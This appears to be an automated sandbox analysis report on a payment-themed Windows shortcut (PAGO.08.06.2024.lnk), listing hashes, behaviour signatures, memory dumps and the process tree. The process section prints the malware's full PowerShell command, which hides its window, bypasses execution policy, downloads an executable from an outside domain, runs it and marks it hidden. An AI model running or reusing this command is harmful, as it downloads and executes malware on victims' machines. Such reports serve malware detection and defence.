Analysis

  • max time kernel
    93s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/08/2024, 09:17

General

  • Target

    Pago.08.06.2024/PAGO.08.06.2024.lnk

  • Size

    2KB

  • MD5

    2749db3c6137622987d1a124be784379

  • SHA1

    5f8dbf0c9c772fc2e22497588a108c81589feeda

  • SHA256

    ff729a62292bcada3eb6fca5f5f2d69e47806def1af454357498d6b5ec1c4982

  • SHA512

    14f574c6b9406f2533c9be8d316613f2d4acf381fd4840cb29a4bcf5fbb202c1cb3793dc3aa2ac2c41b20ada5f4289c28288f175fcf9f5bdc1c141b07235a806

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/slbrgkshbrshkhrfgsbrgkwrebysubrybsurbgarag/hsbidfhbgysdhgdsfhbgsnldjgnbjlsghf/dthsgs.exe

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Pago.08.06.2024\PAGO.08.06.2024.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3400
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hidDeN ---HidDEn ---HiddeN -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/slbrgkshbrshkhrfgsbrgkwrebysubrybsurbgarag/hsbidfhbgysdhgdsfhbgsnldjgnbjlsghf/dthsgs.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3012

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lwuyqdad.v2s.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3012-2-0x00007FFCEFF03000-0x00007FFCEFF05000-memory.dmp

    Filesize

    8KB

  • memory/3012-3-0x0000019039090000-0x00000190390B2000-memory.dmp

    Filesize

    136KB

  • memory/3012-13-0x00007FFCEFF00000-0x00007FFCF09C1000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-14-0x00007FFCEFF00000-0x00007FFCF09C1000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-15-0x00007FFCEFF00000-0x00007FFCF09C1000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-18-0x00007FFCEFF00000-0x00007FFCF09C1000-memory.dmp

    Filesize

    10.8MB